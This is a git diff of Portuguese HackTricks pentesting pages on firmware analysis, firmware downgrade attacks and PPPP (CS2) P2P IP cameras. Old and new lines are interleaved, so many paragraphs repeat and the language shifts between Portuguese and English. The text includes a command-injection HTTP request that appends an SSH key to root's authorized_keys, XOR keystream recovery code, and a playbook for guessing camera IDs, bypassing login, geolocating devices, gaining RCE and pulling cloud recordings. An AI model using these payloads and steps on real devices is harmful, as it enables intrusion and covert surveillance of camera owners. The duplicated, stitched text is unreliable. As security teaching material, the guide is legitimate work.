- Identificar e usar **hardcoded update endpoints**
- **Dumping** do bootloader ou da rede
- **Removendo e lendo** o chip de armazenamento, quando tudo mais falhar, usando ferramentas de hardware apropriadas
## Analisando o firmware
Agora que você **tem o firmware**, você precisa extrair informações sobre ele para saber como tratá-lo. Diferentes ferramentas que você pode usar para isso:
Agora que você **tem o firmware**, é preciso extrair informações sobre ele para saber como procedê-lo. Diferentes ferramentas que você pode usar para isso:
```bash
file <bin>
strings -n8 <bin>
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Se você não encontrar muito com essas ferramentas, verifique a **entropia** da imagem com `binwalk -E <bin>`, se a entropia for baixa, então é improvável que esteja criptografada. Se a entropia for alta, é provável que esteja criptografada (ou comprimida de alguma forma).
Se você não encontrar muita coisa com essas ferramentas, verifique a **entropia** da imagem com `binwalk -E <bin>`; se a entropia for baixa, então provavelmente não está criptografada. Se for alta, provavelmente está criptografada (ou comprimida de alguma forma).
Além disso, você pode usar essas ferramentas para extrair **arquivos incorporados dentro do firmware**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) para inspecionar o arquivo.
### Obtendo o Sistema de Arquivos
### Obtendo o sistema de arquivos
Com as ferramentas comentadas anteriormente, como `binwalk -ev <bin>`, você deve ter conseguido **extrair o sistema de arquivos**.\
O Binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
O binwalk geralmente o extrai dentro de uma **pasta com o nome do tipo de sistema de arquivos**, que normalmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extração Manual do Sistema de Arquivos
#### Extração manual do sistema de arquivos
Às vezes, o binwalk **não terá o byte mágico do sistema de arquivos em suas assinaturas**. Nesses casos, use o binwalk para **encontrar o deslocamento do sistema de arquivos e esculpir o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo.
Às vezes, o binwalk **não terá o magic byte do sistema de arquivos em suas assinaturas**. Nesses casos, use o binwalk para **encontrar o offset do sistema de arquivos e extrair (carve) o sistema de arquivos comprimido** do binário e **extrair manualmente** o sistema de arquivos de acordo com seu tipo usando os passos abaixo.
```
$ binwalk DIR850L_REVB.bin
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Execute o seguinte **comando dd** para extrair o sistema de arquivos Squashfs.
Execute o seguinte **dd command** para realizar o carving do Squashfs filesystem.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -97,33 +104,33 @@ Alternativamente, o seguinte comando também pode ser executado.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Para squashfs (usado no exemplo acima)
- For squashfs (used in the example above)
`$ unsquashfs dir.squashfs`
Os arquivos estarão no diretório "`squashfs-root`" depois.
Files will be in "`squashfs-root`" directory afterwards.
- Arquivos de arquivo CPIO
- CPIO archive files
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Para sistemas de arquivos jffs2
- For jffs2 filesystems
`$ jefferson rootfsfile.jffs2`
- Para sistemas de arquivos ubifs com flash NAND
- For ubifs filesystems with NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Analisando o Firmware
## Analisando Firmware
Uma vez que o firmware é obtido, é essencial dissecá-lo para entender sua estrutura e potenciais vulnerabilidades. Este processo envolve a utilização de várias ferramentas para analisar e extrair dados valiosos da imagem do firmware.
Uma vez obtido o firmware, é essencial dissecá-lo para entender sua estrutura e possíveis vulnerabilidades. Esse processo envolve utilizar várias ferramentas para analisar e extrair dados valiosos da imagem do firmware.
### Ferramentas de Análise Inicial
Um conjunto de comandos é fornecido para a inspeção inicial do arquivo binário (referido como `<bin>`). Esses comandos ajudam a identificar tipos de arquivo, extrair strings, analisar dados binários e entender os detalhes da partição e do sistema de arquivos:
Um conjunto de comandos é fornecido para a inspeção inicial do arquivo binário (referido como `<bin>`). Esses comandos ajudam a identificar tipos de arquivo, extrair strings, analisar dados binários e entender os detalhes de partição e sistema de arquivos:
```bash
file <bin>
strings -n8 <bin>
@ -132,51 +139,51 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Para avaliar o status de criptografia da imagem, a **entropia** é verificada com `binwalk -E <bin>`. Baixa entropia sugere a falta de criptografia, enquanto alta entropia indica possível criptografia ou compressão.
Para avaliar o estado de criptografia da imagem, a **entropia** é verificada com `binwalk -E <bin>`. Baixa entropia sugere ausência de criptografia, enquanto alta entropia indica possível criptografia ou compressão.
Para extrair **arquivos incorporados**, ferramentas e recursos como a documentação de **file-data-carving-recovery-tools** e **binvis.io** para inspeção de arquivos são recomendados.
Para extrair **arquivos embutidos**, recomenda-se ferramentas e recursos como a documentação **file-data-carving-recovery-tools** e o **binvis.io** para inspeção de arquivos.
### Extraindo o Sistema de Arquivos
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos:
Usando `binwalk -ev <bin>`, normalmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado conforme o tipo de sistema de arquivos (e.g., squashfs, ubifs). Contudo, quando o **binwalk** falha em reconhecer o tipo de sistema de arquivos devido à ausência dos magic bytes, é necessária a extração manual. Isso envolve usar `binwalk` para localizar o offset do sistema de arquivos, seguido do comando `dd` para extrair o sistema de arquivos:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Depois, dependendo do tipo de sistema de arquivos (por exemplo, squashfs, cpio, jffs2, ubifs), diferentes comandos são usados para extrair manualmente o conteúdo.
Depois, dependendo do tipo de sistema de arquivos (por exemplo, squashfs, cpio, jffs2, ubifs), são usados comandos diferentes para extrair manualmente o conteúdo.
### Análise de Sistema de Arquivos
### Análise do sistema de arquivos
Com o sistema de arquivos extraído, a busca por falhas de segurança começa. A atenção é voltada para daemons de rede inseguros, credenciais hardcoded, endpoints de API, funcionalidades de servidor de atualização, código não compilado, scripts de inicialização e binários compilados para análise offline.
Com o sistema de arquivos extraído, começa a busca por falhas de segurança. Atenção é dada a network daemons inseguros, credenciais hardcoded, API endpoints, funcionalidades de update server, código não compilado, scripts de inicialização e binários compilados para análise offline.
**Locais** e **itens** chave a serem inspecionados incluem:
**Locais-chave** e **itens** a inspecionar incluem:
- **etc/shadow** e **etc/passwd** para credenciais de usuário
- **etc/shadow** e **etc/passwd** para credenciais de usuários
- Certificados e chaves SSL em **etc/ssl**
- Arquivos de configuração e scripts para potenciais vulnerabilidades
- Binários incorporados para análise adicional
- Servidores web e binários comuns de dispositivos IoT
- Arquivos de configuração e scripts em busca de vulnerabilidades potenciais
- Binários embedded para análise adicional
- Common IoT device web servers and binaries
Várias ferramentas ajudam a descobrir informações sensíveis e vulnerabilidades dentro do sistema de arquivos:
Diversas ferramentas auxiliam na descoberta de informações sensíveis e vulnerabilidades dentro do sistema de arquivos:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) para busca de informações sensíveis
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para análise abrangente de firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) para análise estática e dinâmica
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), e [**EMBA**](https://github.com/e-m-b-a/emba) para static and dynamic analysis
### Verificações de Segurança em Binários Compilados
### Verificações de segurança em binários compilados
Tanto o código-fonte quanto os binários compilados encontrados no sistema de arquivos devem ser examinados em busca de vulnerabilidades. Ferramentas como **checksec.sh** para binários Unix e **PESecurity** para binários Windows ajudam a identificar binários desprotegidos que podem ser explorados.
Tanto o código-fonte quanto os binários compilados encontrados no sistema de arquivos devem ser escrutinados em busca de vulnerabilidades. Ferramentas como **checksec.sh** para binários Unix e **PESecurity** para binários Windows ajudam a identificar binários não protegidos que podem ser explorados.
## Emulando Firmware para Análise Dinâmica
## Emulação de firmware para Dynamic Analysis
O processo de emular firmware permite a **análise dinâmica** tanto da operação de um dispositivo quanto de um programa individual. Essa abordagem pode enfrentar desafios com dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness compatíveis, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais.
O processo de emular firmware permite Dynamic Analysis tanto do funcionamento de um dispositivo quanto de um programa individual. Essa abordagem pode encontrar desafios devido a dependências de hardware ou arquitetura, mas transferir o sistema de arquivos raiz ou binários específicos para um dispositivo com arquitetura e endianness correspondentes, como um Raspberry Pi, ou para uma máquina virtual pré-construída, pode facilitar testes adicionais.
### Emulando Binários Individuais
### Emular binários individuais
Para examinar programas únicos, identificar o endianness e a arquitetura da CPU do programa é crucial.
Para examinar programas isolados, é crucial identificar a endianness (ordem dos bytes) do programa e a arquitetura da CPU.
#### Exemplo com Arquitetura MIPS
#### Exemplo com arquitetura MIPS
Para emular um binário de arquitetura MIPS, pode-se usar o comando:
```bash
@ -186,83 +193,83 @@ E para instalar as ferramentas de emulação necessárias:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Para MIPS (big-endian), `qemu-mips` é usado, e para binários little-endian, `qemu-mipsel` seria a escolha.
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
#### Emulação da Arquitetura ARM
Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo utilizado para emulação.
Para binários ARM, o processo é similar, com o emulador `qemu-arm` sendo utilizado para emulação.
### Emulação de Sistema Completo
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica.
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), e outras, facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica.
## Análise Dinâmica na Prática
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso shell ao SO e ao sistema de arquivos. A emulação pode não reproduzir perfeitamente as interações com o hardware, exigindo reinícios ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar possíveis backdoors.
## Técnicas de Análise em Tempo de Execução
## Técnicas de Análise em Runtime
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas.
A análise em runtime envolve interagir com um processo ou binário em seu ambiente de execução, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir breakpoints e identificar vulnerabilidades através de fuzzing e outras técnicas.
## Exploração Binária e Prova de Conceito
## Exploração de Binários e Prova de Conceito
Desenvolver um PoC para vulnerabilidades identificadas requer um entendimento profundo da arquitetura alvo e programação em linguagens de baixo nível. Proteções de tempo de execução binárias em sistemas embarcados são raras, mas quando presentes, técnicas como Return Oriented Programming (ROP) podem ser necessárias.
Desenvolver um PoC para vulnerabilidades identificadas requer um profundo entendimento da arquitetura alvo e programação em linguagens de baixo nível. Proteções de runtime em binários para sistemas embarcados são raras, mas quando presentes, técnicas como Return Oriented Programming (ROP) podem ser necessárias.
## Sistemas Operacionais Preparados para Análise de Firmware
## Sistemas Operacionais Pré-configurados para Análise de Firmware
Sistemas operacionais como [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) fornecem ambientes pré-configurados para testes de segurança de firmware, equipados com as ferramentas necessárias.
## Sistemas Operacionais Preparados para Analisar Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS é uma distribuição destinada a ajudar você a realizar avaliação de segurança e testes de penetração de dispositivos da Internet das Coisas (IoT). Ele economiza muito tempo ao fornecer um ambiente pré-configurado com todas as ferramentas necessárias carregadas.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operacional de teste de segurança embarcada baseado no Ubuntu 18.04 pré-carregado com ferramentas de teste de segurança de firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS é uma distro destinada a ajudar você a realizar security assessment e penetration testing de dispositivos Internet of Things (IoT). Economiza muito tempo ao fornecer um ambiente pré-configurado com todas as ferramentas necessárias.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operacional para testes de segurança embarcada baseado em Ubuntu 18.04, pré-carregado com ferramentas para teste de segurança de firmware.
## Ataques de Downgrade de Firmware e Mecanismos de Atualização Inseguros
Mesmo quando um fornecedor implementa verificações de assinatura criptográfica para imagens de firmware, **a proteção contra retrocesso de versão (downgrade) é frequentemente omitida**. Quando o bootloader ou o recovery-loader apenas verifica a assinatura com uma chave pública embutida, mas não compara a *versão* (ou um contador monotônico) da imagem que está sendo gravada, um atacante pode instalar legitimamente um **firmware mais antigo e vulnerável que ainda possui uma assinatura válida** e, assim, reintroduzir vulnerabilidades corrigidas.
Mesmo quando um fabricante implementa verificações de assinatura criptográfica para imagens de firmware, **a proteção contra version rollback (downgrade) é frequentemente omitida**. Quando o bootloader ou recovery-loader apenas verifica a assinatura com uma chave pública embutida mas não compara a *versão* (ou um contador monotônico) da imagem sendo gravada, um atacante pode instalar legitimamente um **firmware mais antigo e vulnerável que ainda possui uma assinatura válida** e assim reintroduzir vulnerabilidades corrigidas.
Fluxo de ataque típico:
1. **Obter uma imagem assinada mais antiga**
* Pegue-a do portal de download público do fornecedor, CDN ou site de suporte.
* Extraia-a de aplicativos móveis/escrita acompanhantes (por exemplo, dentro de um APK Android em `assets/firmware/`).
* Recupere-a de repositórios de terceiros, como VirusTotal, arquivos da Internet, fóruns, etc.
2. **Carregar ou servir a imagem para o dispositivo** através de qualquer canal de atualização exposto:
* UI da Web, API de aplicativo móvel, USB, TFTP, MQTT, etc.
* Muitos dispositivos IoT de consumo expõem endpoints HTTP(S) *não autenticados* que aceitam blobs de firmware codificados em Base64, decodificam-nos no lado do servidor e acionam a recuperação/atualização.
3. Após o downgrade, explore uma vulnerabilidade que foi corrigida na versão mais nova (por exemplo, um filtro de injeção de comando que foi adicionado posteriormente).
4. Opcionalmente, grave a imagem mais recente de volta ou desative as atualizações para evitar detecção uma vez que a persistência seja obtida.
* Pegue-a do portal público de downloads do fabricante, CDN ou site de suporte.
* Extraia-a de aplicativos companion para mobile/desktop (por exemplo dentro de um APK Android em `assets/firmware/`).
* Recupere-a de repositórios de terceiros como VirusTotal, arquivos da Internet, fóruns, etc.
2. **Enviar ou servir a imagem para o dispositivo** via qualquer canal de atualização exposto:
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
* Muitos dispositivos IoT de consumo expõem endpoints HTTP(S) *unauthenticated* que aceitam blobs de firmware codificados em Base64, os decodificam no servidor e disparam recovery/upgrade.
3. Após o downgrade, explore uma vulnerabilidade que foi corrigida na versão mais recente (por exemplo, um filtro de command-injection que foi adicionado depois).
4. Opcionalmente grave a imagem mais recente de volta ou desabilite atualizações para evitar detecção uma vez que a persistência seja obtida.
### Exemplo: Injeção de Comando Após Downgrade
### Exemplo: Command Injection Após Downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando de shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
No firmware vulnerável (downgraded), o parâmetro `md5` é concatenado diretamente em um comando shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui — habilitando acesso root via chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra downgrade torna a correção inútil.
### Extraindo Firmware de Aplicativos Móveis
### Extraindo Firmware de Apps Móveis
Muitos fornecedores agrupam imagens de firmware completas dentro de seus aplicativos móveis acompanhantes para que o aplicativo possa atualizar o dispositivo via Bluetooth/Wi-Fi. Esses pacotes são comumente armazenados sem criptografia no APK/APEX sob caminhos como `assets/fw/` ou `res/raw/`. Ferramentas como `apktool`, `ghidra` ou até mesmo o simples `unzip` permitem que você extraia imagens assinadas sem tocar no hardware físico.
Muitos fabricantes empacotam imagens completas de firmware dentro de seus aplicativos móveis companion para que o app possa atualizar o dispositivo via Bluetooth/Wi-Fi. Esses pacotes costumam ser armazenados sem criptografia no APK/APEX sob caminhos como `assets/fw/` ou `res/raw/`. Ferramentas como `apktool`, `ghidra`, ou até mesmo o simples `unzip` permitem extrair imagens assinadas sem tocar no hardware físico.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Checklist para Avaliação da Lógica de Atualização
### Checklist para avaliar a lógica de atualização
* O transporte/autenticação do *endpoint de atualização* está adequadamente protegido (TLS + autenticação)?
* O dispositivo compara **números de versão** ou um **contador anti-rollback monotônico** antes de gravar?
* A imagem é verificada dentro de uma cadeia de boot seguro (por exemplo, assinaturas verificadas pelo código ROM)?
* O código do userland realiza verificações adicionais de sanidade (por exemplo, mapa de partição permitido, número do modelo)?
* Os fluxos de atualização *parcial* ou *backup* reutilizam a mesma lógica de validação?
* O transporte/autenticação do *update endpoint* está adequadamente protegido (TLS + authentication)?
* O dispositivo compara **version numbers** ou um **monotonic anti-rollback counter** antes do flashing?
* A imagem é verificada dentro de uma secure boot chain (por exemplo, signatures checked by ROM code)?
* O código userland realiza checagens adicionais de sanidade (por exemplo, allowed partition map, model number)?
* Os fluxos de update *partial* ou *backup* estão reutilizando a mesma lógica de validação?
> 💡 Se algum dos itens acima estiver faltando, a plataforma provavelmente é vulnerável a ataques de rollback.
> 💡 Se algum dos itens acima estiver faltando, a plataforma provavelmente é vulnerável a rollback attacks.
## Firmware Vulnerável para Prática
## Firmware vulnerável para praticar
Para praticar a descoberta de vulnerabilidades em firmware, use os seguintes projetos de firmware vulneráveis como ponto de partida.
Para praticar a descoberta de vulnerabilidades em firmware, use os seguintes projetos de firmware vulnerável como ponto de partida.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Cameras
{{#include ../banners/hacktricks-training.md}}
## Overview
PPPP (a.k.a. “P2P”) é uma stack proprietária de conectividade de dispositivos da CS2 Network amplamente embutida em câmeras IP de baixo custo e outros dispositivos IoT. Fornece rendezvous, NAT traversal (UDP hole punching), um “stream” confiável em camada de aplicação sobre UDP e um esquema de endereçamento baseado em ID, permitindo que um app móvel/desktop alcance dispositivos em qualquer lugar da Internet conhecendo apenas o ID do dispositivo.
Traços-chave relevantes para atacantes:
- Os dispositivos se registram em três servidores de rendezvous operados pelo vendor por prefixo de ID. Os clients consultam os mesmos servidores para descobrir o endereço externo/relay do dispositivo e então tentam UDP hole punching. Existe fallback por relay.
- O listener de servidor padrão é alcançável via UDP/32100. Uma sonda mínima de “hello” é suficiente para fingerprint de servidores e alguns dispositivos.
- Existe um cipher “blanket” opcional e um modo especial “CRCEnc”, mas são fracos por design e normalmente são desativados em ecossistemas populares (e.g., LookCam).
- O plano de controle é geralmente comandos JSON sobre o stream PPPP e comumente sofre de ausência de auth e bugs de segurança de memória.
Formato típico de ID de dispositivo (família LookCam): PREFIX-######-CCCCC, abreviado em apps (e.g., GHBB-000001-NRLXW → G000001NRLXW). Prefixos observados: BHCC ("hekai"), FHBB e GHBB ("mykj").
## Discovery and Enumeration
- Exposição na Internet: muitos super-nodes PPPP respondem a uma sonda UDP/32100. Respostas com plaintext conhecido e strings de erro tornam-nos fáceis de identificar em captures de tráfego e com scanners de Internet.
- Descoberta na LAN: dispositivos frequentemente respondem a uma busca não criptografada via broadcast local. Use o script de Paul Marrapese para enumerar:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Notas:
- Apps embutem “init strings” que contêm listas de IPs de servidores ofuscadas e chaves de protocolo. Essas strings são trivialmente extraíveis de clientes Android/iOS/Windows e frequentemente reutilizadas em várias linhas de produto.
## NAT Traversal and Transport
- Os servidores de rendezvous aprendem o mapeamento público do dispositivo por keepalives periódicos do dispositivo. Os clients consultam os servidores pelo mapeamento e então tentam fluxos UDP diretos usando hole punching. Se a NAT traversal falha, o tráfego é relayado por hosts PPPP designados.
- O “stream” de aplicação implementa sua própria lógica de ACK/retx sobre UDP; loops de retransmissão são duplicados em muitos caminhos de código e podem inundar links com perda.
## Weak “Encryption” and Key Recovery
Dois mecanismos ineficazes existem na stack CS2:
1) Blanket cipher (opcional) P2P_Proprietary_Encrypt
- Geralmente desativado por OEMs usando LookCam.
- A “init string” do lado do app fornece o material de chave que é reduzido a uma chave efetiva de 4 bytes (~2^32 de espaço).
- Known-plaintext prático: os primeiros 4 bytes de MSG_HELLO para UDP/32100 são conhecidos como F1 00 00 00. Observar um único handshake criptografado permite recuperação rápida da chave ou validação.
- Algumas mensagens de controle (e.g., MSG_REPORT_SESSION_READY) são sempre criptografadas com uma chave hardcoded na biblioteca compartilhada entre apps.
2) Registration “encryption” PPPP_CRCEnc
- Apesar do nome, isto não é CRC. É um keystream XOR repetido fixo com uma verificação de padding de 4 bytes (não autenticada).
- Redes LookCam tipicamente usam CRCEnc apenas para o registro device → server (MSG_DEV_LGN_CRC). A maior parte do restante do tráfego permanece em plaintext.
Recuperação simples do keystream para PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Desalinhamento do modelo de ameaça: os materiais do CS2 focam em prevenir DoS via registros falsos de dispositivos, não em confidencialidade. Isso explica a “criptografia” seletiva do registro enquanto vídeo/controle permanecem opcionais ou em texto claro. Servidores PPPP históricos não apresentam limitação de taxa, permitindo brute-force/abuso em escala.
## Plano de Controle: Comandos JSON e Auth Bypass
Muitos firmwares de câmeras PPPP trocam mensagens JSON uma vez que a sessão está estabelecida. Exemplo de “login” que o cliente envia:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Vulnerabilidade comum em dispositivos da classe LookCam:
- Firmware ignora tanto o fluxo LoginDev quanto os campos pwd por requisição (CWE-287, CWE-306). O dispositivo aceita comandos operacionais sem validar uma senha.
- Exploitation: do not send LoginDev or ignore its result; send commands directly.
Comandos úteis observados:
- searchWiFiList executa iwlist; deixa a saída bruta em /tmp/wifi_scan.txt.
- DownloadFile primitiva de leitura de caminhos arbitrários sem restrições.
Fluxo para desanonimizar a localização via artefatos transitórios:
1) Send {"cmd":"searchWiFiList"}.
2) Read /tmp/wifi_scan.txt via DownloadFile.
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
## Memory-Safety to RCE em firmware embarcado
Padrão inseguro típico (pseudocódigo dos handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Trigger: any cmd string > 255 bytes causes a stack buffer overflow (CWE-120/121).
- Protections: no stack canary; DEP/NX and ASLR commonly disabled on these builds.
- Impact: straightforward single-stage shellcode or classic ROP/ret2libc on the devices CPU (e.g., ARM) for full compromise and LAN pivoting.
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## Abuso de Armazenamento em Nuvem (HTTP, Device-ID apenas)
Many LookCam-branded firmwares upload recordings to api.l040z.com (apicn.l040z.com for BHCC) over HTTP only. Observations:
- No TLS in firmware; transport is cleartext HTTP.
- API “authentication” is device-ID only: anyone knowing the ID can fetch recordings.
- 5 MiB chunking is hardcoded.
- Remote enablement: on boot the device calls http://api.l040z.com/camera/signurl; the servers response decides whether uploads start. The mobile app may show cloud “disabled” even when uploads occur. A third party can purchase/enable cloud for a victim ID and silently collect footage.
This is classic cleartext sensitive transmission (CWE-319) with missing server-side authZ.
## Device-ID Enumeration and Guessing
- ID format: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW).
- Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). Each prefix maps to three rendezvous servers for HA.
- The 5-letter verifier uses an alphabet of 22 uppercase letters (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos per numeric base.
- Prior work observed no server-side rate-limiting, making distributed guessing practical. The verifier algorithm is bespoke and likely guessable or obtainable by reversing apps/firmware.
Practical sources of IDs:
- Displayed all over the official apps and often leaked in user screenshots/videos.
- AP mode SSID equals the device ID; many devices expose an open AP during onboarding.
## Forcing Remote Reachability
Some firmwares reboot in a loop until rendezvous servers are reachable. If egress is blocked, the device will remain in a reboot cycle, effectively coercing owners to leave it Internet-reachable and exposed to PPPP rendezvous.
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- From app UI or AP SSID; otherwise enumerate PREFIX+number and brute 22^5 verifier space.
2) Establish PPPP session
- Use a CS2 PPPP client or custom code; extract server IP lists and init keys from the app init string; attempt UDP hole punching; fall back to relay.
3) Bypass auth
- Skip LoginDev or ignore its result; send operational JSON directly.
4) Exfiltrate files / geo-locate
- Send {"cmd":"searchWiFiList"}; then DownloadFile "/tmp/wifi_scan.txt"; submit BSSIDs to a geolocation API.
5) Achieve RCE
- Send a cmd > 255 bytes to trigger the stack overflow; build ROP/ret2libc or drop shellcode (no canary/DEP/ASLR).
6) Cloud access
- Interact with api.l040z.com endpoints using only the device ID; note 5 MiB chunking; cloud enablement controlled by /camera/signurl regardless of the app UI state.
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## Referências
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,34 +4,34 @@
## Informações Básicas
De [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
Da [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
